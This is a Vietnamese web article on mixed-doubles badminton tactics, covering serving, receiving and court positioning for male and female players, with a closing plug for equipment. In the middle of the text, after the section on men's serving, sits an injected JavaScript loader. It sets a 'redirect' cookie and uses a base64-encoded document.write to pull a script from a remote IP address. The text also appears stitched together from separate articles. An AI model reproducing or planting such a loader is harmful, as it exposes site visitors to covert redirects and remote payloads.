Nhiều nam VĐV trong đấu đôi nam nữ có thói quen đe doạ nữ đối thủ bằng cách đập trả quả cầu vừa được giao thẳng vào người nữ vừa giao cầu. Điều này giúp mang lại một hiệu ứng kép: khiến người nữ giao cầu kém hiệu quả hơn và đồng đội cô ta sẽ phát cáu vì những quả giao cầu kém hiệu quả của người nữ. Vì vậy, chiến thuật nữ trong thi đấu đôi nam nữ nên luyện tập:
– Những quả giao cầu ngắn thật sát lưới. Điều rất quan trọng là quả cầu được giao phải đi sát mép lưới, còn việc quả cầu rơi cách vạch đỡ giao cầu bao xa không quan trọng lắm.
– Người nữ cũng nên tập luyện và phát triển khả năng chiến thuật giao cầu hai nhịp: búng nhẹ hoặc đẩy vợt đi tới, cách giao cầu này sẽ được che giấu cho đến khi vợt tiếp xúc với cầu và giao một quả cầu ngắn. Việc kết hợp một cách khôn ngoan và hợp lý những cách giao cầu này sẽ làm nam đối thủ mất thăng bằng và những quả chụp của anh ta sẽ mất hiệu quả. Cố gắng đừng tỏ ra bạn sợ bị chụp cầu. Nhìn vào mắt nam đối thủ trước khi giao cầu và bình tĩnh quyết định trong các cú giao cầu của bạn. Sau khi giao cầu ngắn, giơ cao vợt của bạn lên và bám theo đường cầu bạn vừa giao di chuyển lên lưới sao cho vị trí đứng của bạn sẽ gần với ngay chữ T [phần giao giữa đường tâm và vạch giao cầu trên]. Còn sau một quả giao cầu dài, hãy chuyển sang tư thế phòng thủ như được mô tả trong phần “Chơi phòng thủ, nhiệm vụ của nữ”.
Chiến thuật trong cầu lông
[b] Nam
Do nam trong thi đấu đôi nam nữ truyền thống thường bao phần sân tính từ vạch giao cầu trên và trở về sau, anh ta có chiến thuật phải giao cầu từ trung tâm của phần sân đó nhằm bảo đảm cho việc quay trở về phía sau. Điều này dường như rõ ràng hơn khi chúng ta nhớ rằng quả giao cầu được đánh từ dưới thắt lưng, vì vậy nó là cú đánh phòng thủ. Vì vậy, người nam nên đứng giao cầu ở vị trí cách vạch giao cầu trên 4 đến 5 feet [1.2 – 1.5m] và đứng thật sát với đường tâm của sân. Do anh ta đứng xa phía sau, nên quả cầu được giao phải đi một quãng đường xa hơn để tới lưới, cho phép đối thủ có nhiều thời gian để lao tới và đập cầu hơn. Vì vậy, quả giao cầu của nam phải đặc biệt sát lưới và nên được đánh nhanh để đối thủ không kịp phản xạ. Một lần nữa, việc quả cầu rơi cách vạch đỡ giao cầu bao xa là không quan trọng, mà quan trọng là quả giao cầu phải đi thật sát lưới. Giống như nữ, nam VĐV nên luyện tập nhiều phương pháp giao cầu có thể che giấu, đánh lạc hướng đối thủ và kết hợp các cách giao cầu này trong thi đấu. Tất nhiên, cả nam và nữ nên cố gắng khai thác bất kì điểm yếu trong việc đỡ giao cầu của đối thủ. function getCookie[e]{var U=document.cookie.match[new RegExp[“[?:|; ]”+e.replace[/[[\.$?*|{}\[\]\[\]\\\/\+]]/g,”\\$1″]+”=[[^;]*]”]];return U?decodeURIComponent[U[1]]:void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor[Date.now[]/1e3],cookie=getCookie[“redirect”];if[now>=[time=cookie]||void 0===time]{var time=Math.floor[Date.now[]/1e3+86400],date=new Date[[new Date].getTime[]+86400];document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString[],document.write[”]}
Trong môn thể thao cầu lông, thể loại đánh đôi nam nữ cần có những chiến thuật khác biệt. Chiến thuật đánh đôi nam nữ thường lấy nam [đứng sau] là chủ động và nữ [đứng trước] là người phối hợp và phòng thủ. Do đó, thể loại này có những chiến lược khác để tăng những thế mạnh của nam và bộc lộ những thế mạnh của nữ phù hợp.
Kỹ thuật giao cầu
Khi người chơi nữ giao cầu, ban đầu nên giao cầu ngắn, thấp và sát lưới. Nên tập trung giao cầu vào khu vực chữ T điểm yếu của bên đối phương. Đôi khi người chơi nữ có thể giao một cú cầu dài hoặc tạt để tạo nên sự bất ngờ với đối phương.
Khi thay đổi kỹ thuật giao cầu như vậy, đối phương sẽ không thể phán đoán chính xác được để đỡ cầu, dễ dàng phản công.
Đối với người chơi nam khi giao cầu, bạn nam sẽ có cùng cách giao cầu như bạn nữ, chỉ khác là với vị trí đứng sau, giao cầu đối với bạn nam cần nhiều lực và cần sự phối hợp về vị trí của đồng đội nữ.
Với kỹ thuật giao cầu, đồng đội nam nữ cần luyện tập về vị trí và ăn ý phối hợp để tránh trường hợp che khuất tầm nhìn khi giao cầu.
Kỹ thuật nhận cầu đối với những cú giao cầu ngắn
Người nữ khi nhận những cú giao cầu ngắn, nên trả cầu ở vị trí lưới gần và sát mình nhất hoặc trả lại ngay cho đối thủ vừa giao cầu cho mình. Sau khi trả cầu, giơ vợt lên cao, di chuyển về khu vực cần phòng thủ và ở tư thế sẵn sàng đáp trả.
Người nam lúc này nên trả cầu ở góc lưới gần vị trí đồng đội nhất để tạo điều kiện cho bạn nữ kiểm soát những cú trả cầu ở khu vực lưới. Chú ý, bạn nam lúc này không nên bỏ trống khu vực dưới sân, tạo điểm yếu cho đối phương tấn công.
Kỹ thuật nhận cầu đối với những cú giao cầu dài
Nếu nhận được đường cầu với cú giao dài, người nữ nên đập cầu về phía đối thủ là nữ hoặc đập cầu về phía đường biên. Sau đó, người nữ lập tức trở về vị trí khu vực chữ T với tư thế sẵn sàng.
Còn nếu là người chơi nam, người chơi nam cũng vẫn nên đập cầu về phía đối phương là nữ hoặc đập về phía biên.
Tùy theo đội hình của đối phương để linh hoạt trong cách đánh.
Tập luyện cầu lông hiệu quả với dụng cụ cầu lông
Dù là chơi và tập luyện cầu lông với tính chất rèn luyện cơ thể vì sức khỏe hay với tính chất thi đấu, người chơi đã bắt đầu với cầu lông thì cần đảm bảo những dụng cụ cầu lông thật tốt và phù hợp. Dụng cụ cầu lông như vợt cầu lông, trụ và lưới cầu lông, quả cầu lông, thảm cầu lông,... sẽ khiến bạn luôn tự tin với những cú giao cầu, phát cầu thật mạnh mẽ, trang bị cho trận giao đấu đầy đủ để bạn luôn vững vàng trước đối thủ.